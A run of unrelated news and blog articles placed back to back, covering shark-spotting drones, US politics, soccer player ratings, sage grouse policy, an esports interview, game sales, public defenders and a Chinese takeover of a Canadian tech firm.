“Little Ripper” drones will soon patrol NSW beaches in a trial to help troubled swimmers & detect sharks @abcnews pic.twitter.com/cWIWGz1jEw — Mazoe Ford (@MazoeFord) February 28, 2016
The information would prove helpful for rescue workers, as they would have a better idea of what they’re dealing with when attempting to save a victim of a shark attack or prevent one all together. There are several species of sharks cruising the waters of Australia, including bull sharks, tiger sharks and great white, which also happen to be the three species responsible for most attacks on humans.
With the knowledge of what type of sharks are in the water at any given time, lifeguards and emergency services could clear out areas of the water to avoid any potential problems.
According to the researchers at Sydney’s Taronga Conservation Society, there have been 1003 shark attacks in Australia since record keeping began began in 1791—232 of those attacks have been fatal. Last year, there were 15 attacks and one fatality in New South Wales, where Little Ripper will first be used.
For now, the Little Ripper program is just a test run that will last for six months. If it’s successful, nearly 40 of the drones could be provided to Australia’s Surf Life Saving Clubs next year.
H/T The Daily Telegraph | Photo via Westpac BankIn an appearance at a tea party rally Friday, freshman Sen. Ted Cruz (R-Tex.) offered a rare look inside Senate vote-jockeying -- and took a rare shot at his fellow Republican lawmakers.
Speaking of the recent debate over gun control, Cruz told the audience at a FreedomWorks summit in Texas that the issue "generated more heat" inside the party than any other in recent memory. There were several lunches, he revealed, where fellow Republicans confronted him and his allies "yelling at us at the top of their lungs."
Along with Sens. Rand Paul (R-Ky.) and Mike Lee (R-Utah), Cruz put out a letter threatening to filibuster Democratic gun legislation. Republican senators were upset, Cruz said, by town hall attendees demanding they join the effort.
"There are a lot of people who don't like to be held accountable," he said.
The Wall Street Journal attacked the group for letting President Obama blame Republicans for blocking gun control instead of moderate Democrats. Cruz said senators made a similar argument: “They said, ‘Listen, before you did this, the politics of it were great. The [Democrats] were the bad guys, the Republicans were the good guys. Now we all look like a bunch of squishes.’”
He replied, Cruz told the crowd, “'Well, there is an alternative. You could just not be a bunch of squishes.'”
The filibuster effort failed, forcing moderate Democrats facing reelection in 2014 to vote on to the proposals. In the end, several Democrats balked and every Senate attempt at gun control went down. Cruz credited the campaign sparked by the letter. He also warned that he believes gun legislation will come up for a vote again.
As Paul did recently, Cruz also accused Obama of using victims of the Newtown tragedy as "political props."
In just a few months in office, Cruz has forged a reputation as an uncompromising, controversy-courting conservative. He's started to attract buzz as a potential presidential candidate in 2016. But he's also formed relationships with the GOP establishment, including serving as vice-chairman of the National Republican Senatorial Committee.
"Sen. Cruz promised 26 million Texans that he would fight for conservative principles every single day, and that's exactly what he has done and will continue to do," a Cruz spokeswoman said after the senator's remarks. "Privately and publicly, he is urging Republicans to stand for principle, and he is encouraged that in recent months so many Republicans are standing up for liberty."Christian Petersen/Getty Images
The United States national team defeated Venezuela, 1-0, on Saturday night on a dramatic stoppage-time header by Ricardo Clark. Jurgen Klinsmann now has his first winning streak as U.S. coach, and the team can head to Panama with a bit of confidence and a sense of satisfaction.
Despite the team accomplishment — the victory — the individuals on the squad cannot be blamed for wondering how each of their performances was received. That’s because Klinsmann made it abundantly clear that the group he assembled for these two exhibitions is the American B team. He also challenged these players to make a strong impression.
“This is a very important opportunity for these players; they are the next in line behind the established players, and this is a chance to prove themselves,” Klinsmann said. “I’m very curious and excited to see this group.”
The game featured the national team debuts of A.J. DeLaGarza, Bill Hamid, C.J. Sapong and Graham Zusi, but it was the veterans on the squad – most notably Jermaine Jones – who had the biggest impact on the U.S. victory.
Here is a look at how the individual players performed. The ratings (on a scale of 1, diabolical; to 10, world class):
Joshua Lott/Reuters
Starters
Bill Hamid: The 21-year-old D.C. United keeper has been stuck on the bench behind Tim Howard since Klinsmann took over, and Saturday night he got his first taste of national team action. Hamid enjoyed an easy debut — and a clean sheet — against a lackluster Venezuelan side that seemed clueless in attack. He did make a decisive, aggressive move to punch out a dangerous ball in the 34th minute, but that sequence aside he did not have much to do. Rating: 6
A.J. DeLaGarza: Playing at right back rather than his preferred central position, the diminutive Los Angeles Galaxy defender closed down his side of the field effectively but seemed very tentative in the attacking half. On several occasions DeLaGarza was positioned to send in a cross or make a run, but he hesitated and the moments were lost. An inauspicious first cap. Rating: 4.5
Michael Parkhurst: Given the ineptitude of the Venezuelan attack, it’s hard to grade Parkhurst and his central defense partner, Geoff Cameron. While it’s true that the U.S. kept a clean sheet and its goal was never really threatened, it’s also worth noting that the Americans thoroughly dominated the midfield, leaving the back line with little to do. Hopefully Panama will provide a tougher challenge. Rating: 6
Geoff Cameron: See above. Rating: 6
Heath Pearce: Like his colleagues along the back line, Pearce wasn’t asked to do much on the defensive side of the ball, which makes it all the more disappointing that he accomplished so little going forward. He did lead a break in the 25th minute but his errant pass squandered the chance. Rating: 4.5
Jeff Larentowicz: The Colorado Rapids midfielder played Clark Kent to Jermaine Jones’s Superman. He was cautious, careful and reserved during his hour or so on the field, which made a lot of sense when you consider that Jones was stopping bullets and moving faster than a steaming locomotive. Rating: 5
Jermaine Jones: Klinsmann gave Jones the captain’s armband, and the Schalke midfielder responded with his best effort to date for the national team. Jones is only with the national team because the German federation suspended him for eight games for stomping on an opponent’s leg. If Saturday night’s performance is any indication, the 30-year-old Jones is using the time off to his advantage. He absolutely owned the midfield – creating chances, delivering smart passes to the wings and into the box, and even breaking up the occasional Venezuelan counter. (He also covered up his own mistakes, tracking back to make sure Venezuela did not take advantage of any loose passes.) In an interesting twist that could pay dividends with the A team, Jones also delivered four corner kicks – all of them dangerous — after Graham Zusi left the game. The last of these corners found Ricardo Clark alone in the box, and gave the U.S. the victory. Rating: 8
Graham Zusi: Zusi’s national team debut did not go as well as he would have liked. The 25-year-old looked a bit sloppy on the ball and struggled to deliver quality crosses – both on corners and during the run of play. The U.S. has a crowded midfield, and Zusi will have to do a lot better if he plans to force his way onto the A list. Rating: 4.
Benny Feilhaber: A typically tantalizing performance for Feilhaber. Nobody can question his technical ability and vision, but Feilhaber lacks the cutting edge and consistency one expects at the international level. In one beautiful sequence he delivered a perfectly weighted pass behind the Venezuelan defense that rolled straight to the feet of Brek Shea (who shot just wide). A short while later, however, Feilhaber had a clear chance on goal and wasted the chance. Rather than take a clear shot, he just lofted the ball into no-man’s land and let the opportunity get away. Also worrisome: Feilhaber is still pushed off the ball far too easily. He was dispossessed several time, a recurring theme in his international career. Rating: 5.5
Brek Shea: The wiry winger got off to a sluggish start but nearly scored in the 20th minute off a Feilhaber pass that sent him in on goal. Three minutes later Shea almost struck again when he headed a Zusi free kick toward the far corner of the goal. But Venezuela goalkeeper Jose Morales made the first of several sparkling saves and kept Shea off the score sheet. The 21-year-old Texan showed flashes of brilliance – he was clearly one of the most talented players on the field — but also disappeared for long stretches. Rating: 6
Joshua Lott/Reuters
Teal Bunbury: Bunbury got off to a good start, making aggressive, proactive runs despite playing as a lone striker for the first hour. His long-range shot in the 19th minute was perhaps too ambitious and sailed over the goal, but B team friendlies are the perfect games to demonstrate your ambition. As the game progressed, Bunbury seemed to tire and lose his edge, and he scuffed a great chance toward the end with a poor left-footed effort. It would have been nice to see him alongside another striker when he still had some spring in his step; maybe he will get that chance against Panama on Wednesday. Rating: 5.5
Substitutes
Chris Wondolowski: Wondolowski came on in the 62nd minute and quickly worked his way into good scoring positions. Ten minutes after coming on he made a nifty move on a deflected header and struck a quick half volley that Morales managed to stop. Wondolowski also delivered a pair of good headers in the final 10 minutes: the first went just wide and the second was parried away by Morales. Even though he didn’t score, it was a very strong showing: Rating 7
Ricardo Clark: Clark accomplished very little during his half hour on the field … until a Jermaine Jones cross found him totally unmarked in front of goal. To his credit, Clark rose and nodded the cross past Morales and gave the U.S. a deserved victory. Rating: 5
Zach Loyd: Loyd came on in the 74th minute and delivered a fantastic cross to Wondolowski that woulda-coulda-shoulda put the U.S. in front but Morales made a brilliant stop. Rating: 6
C.J. Sapong: Sapong brought a welcome burst of energy but didn’t achieve much. His first cap will be remembered mostly for being, well, his first cap. Rating: 5
Brad Evans: Came on in the 88th minute. Rating: Incomplete
Corner Kick: What did you think of the game and our player ratings? Share your thoughts in the comments.
John Godfrey obsessively tracks the progress of American soccer players and is a regular contributor to the Goal blog. He also comments about soccer constantly on Twitter.With only 60 days to work together with DOI and see that strong, science-based plans for sage grouse conservation move forward, hunting and fishing groups emphasize that habitat must remain the priority
This morning, the Department of Interior released a Secretarial Order initiating the review of sage grouse conservation plans meant to keep the bird off the endangered species list.
The order establishes a DOI interagency team to evaluate, within 60 days, whether federal plans are complementary to state plans and compatible with recent administrative orders on energy independence. Any resulting recommendations could have a significant effect on the future conservation of all sagebrush-dependent species, including sage grouse, pronghorn antelope, and mule deer.
After careful review of the order, the top priority of conservation and sportsmen’s group leaders for habitat to remain the primary focus of conservation efforts. These experts maintain that administrative action must not undermine the safeguards provided by the federal conservation plans.
On a briefing call with press and stakeholders yesterday, before the order became public, Secretary Zinke noted that one goal would be to ensure that “innovative ideas” from the states are considered to allow flexibility. These might include setting population target goals, establishing captive breeding programs, improving predator control and monitoring techniques, and curbing West Nile virus, according to the Secretary.
“Many of these suggested tools are already available to the states,” says Miles Moretti, president and CEO of the Mule Deer Foundation. “Controlling predators and West Nile virus, for example, can be done within the current plans, but these measures cannot stand in place of managing habitat for a healthy ecosystem that benefits all sagebrush-dependent species and stakeholders—from sportsmen and landowners to industry. We support Secretary Zinke’s goal of strengthening collaboration with the states and resolving their remaining issues with federal sage grouse plans, but habitat conservation must remain the focus. That is the only real long-term solution.”
“Sage grouse conservation should be driven by science and guided by professional wildlife managers,” says Steven Belinda, executive director of the North American Grouse Partnership. “We support innovative ideas for grouse management, but some of the suggestions offered by the Secretary are simply not supported by current science. The preponderance of scientific evidence clearly demonstrates that habitat loss and degradation is the primary cause of declines in sage grouse populations over the past several decades. Addressing habitat concerns
will achieve the goal of healthy populations and minimize the impacts from disease, predators and drought, making captive breeding unnecessary.”
A letter sent by leaders of the Western governors task force on sage grouse indicates there’s little appetite for an approach where sage grouse would be managed based on targets for population size versus overall habitat health.
“Population size and habitat are inextricably linked, and undermining habitat protections while attempting to meet population objectives by other means is not sustainable,” says Whit Fosburgh, president and CEO of the Theodore Roosevelt Conservation Partnership. “The combination of agreed-upon federal, state, and private land conservation efforts represents the best chance for long-term, range-wide survival of sage grouse. The U.S. Fish and Wildlife Service’s decision not to list the bird in 2015 will be reviewed in 2020, and opening up the plans to major changes legally requires an amendment process that threatens the outcome of that review. We look forward to working with Secretary Zinke and his staff to resolve remaining issues with the plans, and we’re confident that a legitimate review should demonstrate that they were based off the best science, with balance and flexibility built in so that state concerns could be addressed.”
“The work to benefit sage grouse over the last five years has been the greatest landscape-scale conservation effort undertaken in modern times, which is why this order to review the plans seems to be a solution seeking a problem,” says Steve Williams, president of the Wildlife Management Institute and former director of the U.S. Fish and Wildlife Service. “The decision not to list the bird was predicated on federal and state plans being implemented simultaneously, without interference, and in combination with ongoing conservation efforts on private lands. Any amendments to the plans before they’ve been fully implemented would impede real conservation results, threatening not only the bird but also certainty for stakeholders like sportsmen, ranchers, and industry.”
A review of conservation plans by a new administration is reasonable to expect, but sportsmen’s groups ask that the process is transparent and inclusive.
“Sportsmen’s groups have worked extensively on sage grouse conservation efforts, including those of private landowners,” says Howard Vincent, president and CEO of Pheasants Forever and Quail Forever. “The Secretary mentioned there is a lot of anger and mistrust in local communities, but I’m confident that a comprehensive review process will also document the substantial and growing number of landowner success stories across the West, where improvements for sage grouse also benefit livestock. We strongly encourage Secretary Zinke to document those successes, include them in the review, and work closely with USDA Secretary Purdue to ensure supportive, conservation-minded landowners are not left out of the conversation.”
Sportsmen and conservation organizations have been actively engaged in sage grouse conservation for many years. Key groups were deeply involved in developing conservation plans that led to the U.S. Fish and Wildlife Service’s decision not to list the greater sage grouse for protection under the Endangered Species Act in September 2015. Key to that decision, which sportsmen celebrated, was the unprecedented landscape-scale approach through complementary conservation plans for federal, state and private lands.
Sportsmen have also worked closely with the Western Governors Association and the Western Association of Fish and Wildlife Agencies to develop a roadmap for future research, management, and conservation efforts across the sage grouse’s range. Hunters and recreational shooters have contributed well over $130 million to sage-grouse management and conservation since 2000 through license sales and gear purchases—this funding has been distributed to the states as dictated by the Pittman-Robertson Act. Finally, the community has strongly supported and coordinated with the aforementioned Western landowners and other individuals working to conserve sage grouse habitat through voluntary efforts under the Natural Resources Conservation Service’s Sage Grouse Initiative and other collaborative programs.
Read the full Secretarial Order here.July was a historic month for American politics, with two explosive conventions.
They saw the nomination of Hillary Clinton and Donald Trump as the official nominees of the Democratic and Republican parties in the Presidential race, as well as an incredible amount of drama both online and offline.
Two weeks of political buzz
We tracked conversations surrounding both the Democratic National Convention and the Republican National Convention across the two weeks they ran.
We updated our data this week and, looking at raw mentions of the conventions as well as related hashtags, we found the DNC was generating a lot more online mentions than the RNC did the week previously.
Both conventions peaked early in terms of mentions across a full day, though that wasn’t necessarily reflected when you break it down by hour.
It’s here that you can see the big moments coming to life on social.
It was the final night of the GOP convention that got the biggest mention spike, while the first night of the DNC was huge – bringing in 800k mentions in an hour.
DNC spikes also tended to be a little later – around the 11pm mark – while all of the GOP peaks occurred at 10pm.
Moments of drama
Both conventions had moments that lit social on fire as well as long-running topics.
Zooming into the RNC, #MAGA (Trump’s famous “Make America Great Again”) was repeated throughout the week-long convention.
Meanwhile, Melania Trump’s speech was an enormous talking point during the week and it didn’t take long for the plagiarism allegations to start to circulate.
#FamousMelaniaTrumpQuotes trended as tweeters ridiculed her speech by attributing famous quotes like “I have a dream” to her.
The top mentioned words and phrases from the DNC featured the #DemExit movement which made up a huge part of the conversation.
Disillusioned Sanders supporters were seen to cause a lot of disruption at the convention, with a lot of booing and heckling on day one.
The headline speakers of the week were at the center of the topic cloud and we mapped their mentions as they spoke throughout the convention.
It’s interesting to see RNC and DNC feature in their opposing topic clouds – they certainly weren’t events that occurred in isolation of each other.
Fiery fight
Clinton and Trump both accepted their parties’ nominations during their respective conventions, but they both made huge splashes in their competing conversations too.
Driven by sassy Twitter remarks from both candidates as well as the insults being thrown around by supporters online, they both got huge mentions related to each convention.
Not one American flag on the massive stage at the Democratic National Convention until people started complaining-then a small one. Pathetic — Donald J. Trump (@realDonaldTrump) July 27, 2016
Looking at how the two nominees featured in each convention’s separate conversations, they both got around 65% of the share of voice for their own convention.
Are you a journalist looking to cover our data? Email [email protected] for more information.One snag with cloud applications is that they often run over that pesky thing called the public Internet, a Wild West of uncertain speed and reliability. That's fine for a lot of consumers but not always great for businesses.
For companies using Office 365, Microsoft has now rolled out a premium service called Azure ExpressRoute, which allows them connect to Office 365 services via a private, managed wide area network.
ExpressRoute was already available for Microsoft's Azure cloud services, and as of Tuesday it's generally available for Office 365.
"This direct connection offers customers more predictable network performance, an SLA for guaranteed availability and additional data privacy," Microsoft said in a blog post.
The service is currently offered by British Telecom, Equinix, Tata Communications, TeleCity Group and Verizon. Pricing information is here and details of how to sign up are in the blog post.
Businesses that need the extra control will be glad of the option, but it's also an example of the extra costs companies need to consider when they're embarking on a cloud migration.
It's also unlikely that ExpressRoute will avoid all outages. If Microsoft experiences problems with its own data centers, which appeared to be the case during a nine-hour Exchange outage last year, no amount of managed network capacity will help.
Still, the same can be said of on-premises applications, and ExpressRoute offers a better option than the public Internet. Each circuit has two physical connections and two physical routers to provide redundancy, and Microsoft says it provides an uptime SLA (service level agreement) of 99.9 percent on all the Microsoft components.
It doesn't provide an SLA for the network provider's equipment, of course, so customers need to negotiate that separately.
The service is available for Exchange Online, SharePoint Online, OneDrive for Business, Skype for Business Online, Azure Active Directory, Office 365 Video, Power BI, Delve and Project Online.
It doesn't cover all services, and businesses still need to use the public Internet for ProPlus installation files, Yammer, Domain Name Service and Content Delivery Network servers.Smeb and Score may have gotten off on the wrong foot (cough 2 HP), but it seems like the bad blood is already a thing in the past with this duo.
On Tuesday, KT Smeb and Score conducted an interview with Daily eSports' reporter Yoon-Ji Lee, where they talked about their new teammates, team rivalries, and their good looks. In what looks to be the final interview for the duo in 2016, we look at what's in store for this super team in a highly anticipated 2017 season.
Daily eSports and Akshon Esports collaborate to bring you this fully translated interview of Smeb and Score.
Q: What were your impressions of one another before becoming teammates?
Smeb: In terms of play style, I always thought he was very steady. I didn't think he was perfect mechanically, but very cerebral. He's older than most gamers, so I knew he would lead us like an older brother.
Score: Whenever we talk about the world's best Top laners, Smeb is always in the conversation. I always had a good impression of his abilities. In terms of physical impressions, he looked kind and hard-working.
Q: After living together for a short period of time, what are your impressions now?
Score: I thought he was kind and hard-working, but I found out he was a bit unique.
Smeb: I kind of a have a weird side, so I wondered if he could adjust. But after a while, it was pretty much confirmed. We'll be able to get along very well.
Q: What do you mean when you say "a weird side"?
Score: It's something that's always with him. It's not something that just pops out in unique situations.
Smeb: Yelling during games is standard, and I also dance and make weird faces out of nowhere. I think we're pretty similar when it comes to that stuff.
Q: I heard you guys went to a workshop (for KT) together? Did you guys become more familiar with one another?
Score: Even without the workshop, we would have become a lot closer. But thanks to KT's front office, we were able to become friends quickly. We thank them for that.
Smeb: This is type of thing we need to learn when it comes to social life. Mentioning your front office... I hope to learn one day.
Q: What do you think you're better at?
Score: I think I'm cleaner. My buddy right here doesn't wash all that often. It's pretty much confirmed. My sanitation is superior.
Smeb: Agreed. Personally, I think it will be a lot quicker to point out what I'm worse at. There's not enough time to talk about all the things I'm better at.
Q: Who's better looking?
Score: I think the readers already know the answer to this. All I'm going to say is, I'll leave it to the fans to decide.
Smeb: I don't even feel the need to answer this.
Q: You guys both made a name for yourselves with vocals. What do you think of each other's singing?
Smeb: We went for Karaoke once, and I started tearing up while singing. I was kind of startled at myself.
Score: He sang with so much emotion, I thought he was an actual singer. I usually sing for fun, but this guy is super serious. I thought to myself, "this boy's the real deal."
Q: If you were to dime out your partner's flaw, what would it be?
Smeb: We haven't really lived together for that long... I guess he has a bigger belly than expected.
Score: There's nothing in particular. Just being really loud? It's a bit noisy during solo queue, but to be honest there's one more guy involved.
Smeb: You talking about yourself?
Score: Mata is really loud. That guy's for real. Smeb is quiet in comparison.
Q: Looking back, how was 2016?
Score: As always, 2016 was another disappointing year. We thought we were close to winning, but we couldn't even advance to Worlds. It was saddening to not add anything to my list of accomplishments.
Smeb: Overall it was satisfactory, but there were some disappointing aspects to it. We thought we lost by a hair. But all in all, I think our hard work paid off with great results.
Q: Smeb is considered the world's best Top laner. What do you think?
Smeb: Personally, I am happy to be regarded as such. The attention has brought pressure, and sometimes it would cause me to slump. I think I'll be able to overcome any attention or title in the future.
Q: What was your most disappointing moment?
Score: The culprit is right next to me... I remember losing Baron to Smeb at the 2016 LCK Summer Finals. Losing Baron was my mistake, so I can't fault him. But aside from that, the 2 HP left on Baron kept haunting me. To top it all off, we finished #2, which was a double whammy.
Q: Did Score ever give you a rough time for that Baron steal?
Smeb: To be honest I was worried, but it's playful at worst. Same with me. I just tell him I can help last hit Baron, so don't put too much pressure on yourself when it comes to smiting.
Personally, I'm mostly disappointed with the 2016 LCK Spring Finals (against SKT). We really thought we could win. Same with Worlds semifinals. Those two moments are the most disappointing for me.
Q: KT Rolster changed up its roster. Are you guys getting in form?
Score: We started practicing only recently, but our teamwork is already better than expected. There are some things we need to work on, but we expect to be a strong team pretty quickly.
Smeb: All 5 members are extremely motivated. Same with our coaching staff. I think we can become an insane team.
Q: SK Telecom T1 is seen as your rivals. What do you think?
Smeb: SKT is a team I want to surpass. I want them to feel the same things I did - extreme anger and frustration. I think we can take them.
Score: SKT already won a lot. I think it's time they
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Fighters XIII is also included in the mix. While it may not feature a ton of the gameplay mechanics seen in typical anime titles, strong arguments can be made that its aesthetic definitely fits the bill.
All joking aside, King of Fighters XIII Steam Edition can now be purchased at the incredibly low price of $7.49, a 75% discount from its normal $29.99. If older titles are more your speed, however, you can also grab King of Fighters ’98 Ultimate Match Final Edition for $11.99.
These sales will only be in place until January 12, so be sure to take advantage before then.
Source: Steam via RPG SiteWhat%26rsquo;s in the box
Here’s what’s included in the OnLive Game System for $99 dollars.
OnLive MicroConsole
Think of it like a cable box. You connect it to your internet connection and your TV or monitor to use the service. If you prefer a mouse and keyboard to a gamepad, the MicroConsole is compatible with most current USB keyboards and mice.
OnLive wireless gamepad
The controller feels almost identical to an Xbox 360 controller, which is a good thing. There’s also a nice weight to it, which makes it feel like a high-quality product.
HDMI cable
If you can’t use the HDMI cable, it’s worth noting that you’ll need to order a special HDMI-to-component cable for $29.99.
Free game
It’s also worth noting that a free game is included with your purchase of the OnLive Gaming System, which helps make up for the fact that you’re paying for a service you could be using for free through your browser, right now. Those being said, make sure to browse through OnLive’s complete games catalogue before signing up for the $99 dollar package. There are not a lot of titles to choose from.
Power adaptor for the MicroConsole
Rechargeable battery pack for the gamepad
Two AA batteries for the gamepad
USB cord to sync the wireless gamepad to the MicroConsole
Ethernet cable
Someone%26rsquo;s watching you
Setting up the OnLive Game System is a snap. First, you’ll need to create an account on the OnLive website. From there, just connect the MicroConsole to our modem and TV or monitor, and you’re in.
The first thing you’ll notice is that the user interface for OnLive is amazing. Click on the Arena option from the main menu and you’ll feel like you’ve just jacked into the gaming equivalent of the Matrix. Dozens of screens stream games in progress from other OnLive users – and you can click on any of them to watch what other players are up to.
Above: OnLive’s Arena lets you join any game in progress as a spectator. Spying on other players is a little creepy. But it’s also one of the coolest things you can do with the service*
Above: Spectating in the Arena mode. Notice the smudges all over the textures. This screenshot was taken from the PC version of OnLive's service, which was comparable to the resolutions wesaw with the OnLive Game System*
The voyeuristic act of spying on other players is a little creepy at first. As a spectator, you can vote on the player you’re watching by giving him a thumbs-up or a thumbs-down. It’s all part of OnLive’s push to promote its internal social gaming network, which also allows players to record, post, and share video clips of their conquests.Fifty-three years ago today, the Supreme Court decided Gideon v. Wainwright, a groundbreaking case that for the first time guaranteed criminal defendants the right to an attorney, even if they couldn’t afford one.
That decision was brought about by Clarence Gideon, a poor defendant in Florida who wrote a handwritten petition to his state supreme court asking for a lawyer. The decision, which was handed down on March 18, 1963, created a new profession: the public defender, lawyers provided by the government to indigent defendants. Public defenders across the country are celebrating the anniversary on social media with the hashtag #publicdefenseday:
But as the Supreme Court nomination process over the past few weeks has made clear, public defenders still face significant challenges. As some are pointing out today, there are far fewer public defenders who get appointed to judgeships than prosecutors, a discrepancy that experts say has an impact in how cases are decided and can have a negative influence on criminal defendants.
There’s been a lot of talk about racial and gender diversity of judges—such as the fact that President Obama chose Merrick Garland, a white man, as his Supreme Court nominee. What doesn’t get as much attention is diversity in judges’ professional backgrounds. At the federal and state levels, judges and justices are much more likely to be former prosecutors than former public defenders.
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Let's start at the top. Four of the current eight U.S. Supreme Court justices have prosecutorial experience, and none were former public defenders. The last justice to have experience like that was Thurgood Marshall, who founded the NAACP Legal Defense Fund, which represented indigent criminal defendants before public defense agencies existed. Marshall retired in 1991.
While statistics for the federal judiciary as a whole don't appear to exist, a report from the Alliance for Justice, an advocacy group, found a wide disparity among Obama nominees. As of July 2015, just 14% of Obama’s nominees for district and appeals court judges had experience working in public defense. Meanwhile, 41% of his nominees had experience working as prosecutors.
The disparity is also present at the state level. A 2011 study found that 15% of State Supreme Court justices had experience as public defenders, compared to 33% of State Supreme Court justices who had experience as prosecutors.
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“The judiciary lacks the diversity of perspective that is essential to equal justice under the law,” said Stephen Hanlon, a professor at Saint Louis University law school. “It means that you’re going to get more of the prosecution perspective than the defense perspective from judges.”
Part of the reason why public defenders are less likely to get appointed to judgeships was demonstrated in Obama's search for a replacement for Justice Antonin Scalia. Jane Kelly, a federal appeals court judge in Iowa and a longtime public defender, was seen as one of the top contenders for the seat. According to reports last week, she was one of five judges on Obama’s shortlist.
Almost as soon as the news that she was being considered leaked, a conservative group launched a campaign ad attacking Kelly for representing a defendant charged with murder and possession of child pornography. The fact that Kelly defended someone who molested and killed a five-year-old girl made her unsuitable to be on the Supreme Court, the ad and other conservatives argued. (Kelly declined an interview request.)
“They were saying that she was somehow responsible for the conduct of her client,” said Kyle Barry, the Director of Justice Programs for the Alliance for Justice. “It’s despicable that people who have dedicated their careers to making a meaning out of the right to counsel have to endure public attacks and smear campaigns whenever they’re nominated for a judgeship.” These kind of attacks also make former public defenders less likely to seek nomination to judgeships.
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Faced with Republican opposition to considering any nominee, Obama chose possibly the safest choice of all: Garland, an eminently experienced former prosecutor. Notably, in the Oklahoma City bombing case, he directed the prosecution that led to one of the only executions of a federal defendant in the last 50 years. Some observers say Garland has a more conservative record on criminal justice issues than Scalia. As an appeals court judge, he has been far more likely to side with prosecutors than defendants in criminal appeals, according to a 2010 analysis by SCOTUSblog.
The discrepancy in judicial experience isn't just about public defenders. Lawyers who have worked at civil rights groups like the American Civil Liberties Union or public interest law organizations like the NAACP Legal Defense Fund are also underrepresented in the judiciary. Justice Ruth Bader Ginsburg, who worked for the ACLU, said in 2007 that she thought that “today, my ACLU connection would probably disqualify me” from being nominated to the Court.
Over the last seven years, Obama has made real progress in terms of improving the diversity of the federal judiciary, appointing more women, minority and openly LGBT judges than any president in history.
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But in terms of professional diversity, it's another story. Lawyers who have spent their careers fighting for poor defendants are still far less likely to become judges.
“Judges bring their life experience and professional experience, which informs their perspective, judges bring that to the bench,” Barry said. “Understanding how the law affects the more vulnerable and marginalized members of our society is incredibly important.”
Casey Tolan is a National News Reporter for Fusion based in New York City.Critics slammed the Liberal government on Thursday for giving what they called a serious lack of scrutiny to a Chinese investor's takeover of a Vancouver high-tech firm even though Canada and its allies depend on the company's communications technology.
A senior U.S. government official who did not want to be identified told The Globe and Mail on Thursday the foreign takeover of Norsat International was "fairly sensitive" and, as a result, the United States would not comment. The official declined to say whether the Trudeau government had consulted Washington about the transfer of the satellite communications technology to a Chinese company.
The Trudeau government has made closer relations with China a significant foreign policy objective and is discussing launching free-trade talks with Beijing. When the Liberals came into office, briefing books prepared by the department of Global Affairs warned that China believes it has been "unfairly targeted" by national-security reviews. China's ambassador to Canada, Lu Shaye, told The Globe earlier this year he considers national-security reviews tantamount to trade protectionism.
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Read more: Liberals waive security review for Chinese takeover of high-tech firm
Read more: Liberals reverse course on Chinese takeover of Montreal high-tech firm
Read more: Ottawa approves sale of B.C. retirement-home chain to Chinese group with murky ownership
Innovation, Science and Economic Development Minister Navdeep Bains was asked repeatedly in the Commons on Thursday to justify his handling of the Norsat deal after The Globe reported that the Trudeau Liberals allowed Shenzhen-based Hytera Communications to buy the company without subjecting the deal to a formal national-security review. Ottawa screened it for national-security concerns, but did not proceed with a full-fledged review.
"Hytera Communications has previously been accused of large-scale theft of intellectual property and the UK raised major red flags when Hytera tried to acquire a similar British company," Conservative House Leader Candice Bergen asked. "Why is the Prime Minister so eager to sell our military technology to Beijing?"
David Mulroney, a former Canadian ambassador to China, called The Globe story "worrying" via his Twitter account on Thursday. In a statement to The Globe later, he referred to the major defence expenditure package the Liberals unveiled this week, asking: "What is the point of elaborating an expensive defence procurement plan if you're not doing the basics to counter other threats to national security?"
Former Canadian spymaster Richard Fadden, who also once served as national-security adviser to Prime Minister Justin Trudeau, told The Globe on Wednesday he would probably have recommended a full-fledged national-security review.
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When Hytera made a bid for Sepura, a mobile digital radio equipment maker in Cambridge earlier this year, Britain – which has intervened in foreign takeovers for national security reasons only seven times in the past 15 years – imposed strict stipulations on its conduct after the acquisition to safeguard national security.
Mr. Bains defended the government's actions on Thursday in the Commons, at first talking up the robustness of the preliminary screening process. As the opposition continued its attack – asking nine questions on the matter – he switched to saying a full-scale national-security review had in fact taken place.
"The member opposite is saying that this transaction was not subject to a national-security review," he said. "That is not the case. All transactions under the Investment Canada Act are subject to a national-security review. We have followed the process."
The minister said the Liberal government would "never compromise our national security" and said Canada needs to be open to foreign capital. "When it comes to our economic agenda and our overall Investment Canada Act regime, we are being very clear that in order to grow the economy and create jobs, we must be open to investments, open to trade, open to people."
Customers listed on Norsat's website include NATO, the U.S. Department of Defence, the U.S. Marine Corps, the U.S. Army, the Irish Department of Defence, the Taiwanese army, the aircraft manufacturing company Boeing and major journalism outfits including CBS News and Reuters.
The Conservatives and NDP asked the Commons Speaker to rule that Mr. Bains was not telling the truth when he said a national-security review had taken place. They accused Mr. Bains of conflating the initial screening process and a formal review – which did not take place – to confuse Canadians.
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NDP Leader Tom Mulcair said Mr. Bains must correct himself, saying the facts on public record show an official, full-fledged national-security review was not ordered.
"Mr. Bains definitely misled the House [on Thursday]. There's no question about that. He's either completely ignorant of the law that he's supposed to be applying or he's lying to Canadians and to the House about the issue of national security. And I take it very seriously either way," Mr. Mulcair said.
All foreign takeovers of Canadian companies undergo a preliminary security screening analysis for their potential to harm national security, but a formal national-security review is far more extensive. It is undertaken when Ottawa decides a deal could be injurious to national security. A far-reaching probe such as this would analyze the potential impact on Canada's defence capabilities and interests and investigate how the transfer of this proprietary technology outside Canada as well as the possibility the transaction could enable foreign espionage or injure Canada's international interests, including foreign relationships. It would also consider the potential of the investment to hinder intelligence or law enforcement operations.
Mr. Bains' own department told The Globe earlier this week it had advised Norsat this month that, after a security screening "no order for review would be made." A department spokesman explained, "this was because, following the extended screening process, there are no outstanding security national-security concerns."
Norsat published the same information on June 2 in a news release, saying "the minister responsible for the Investment Canada Act … has served notice that there will be no order for review of the transaction under subsection 25.3(1) of the Act." That subsection of act explains when a formal national-security review is warranted.Plenty of change to the rankings was expected coming into this week, but no one could have predicted this. One of the craziest weeks of college football in recent memory sent the Power Rankings into complete upheaval, as only one team remains in the same spot as last week.
A total shakeup was clearly in the cards after five of the top eight and 11 of the top 19 teams in the AP poll lost in what was truly a remarkable week. Four new arrivals made their way into the Power Rankings, with TCU and Arizona both debuting in the top 15.
LSU, USC, Wisconsin, and BYU disappeared from the rankings after less than impressive performances in Week 6, while Oregon, UCLA, and Stanford took the biggest falls. Their losses meant big gains for Mississippi State and East Carolina, as the Bulldogs and Pirates moved up 10 and seven spots respectively.
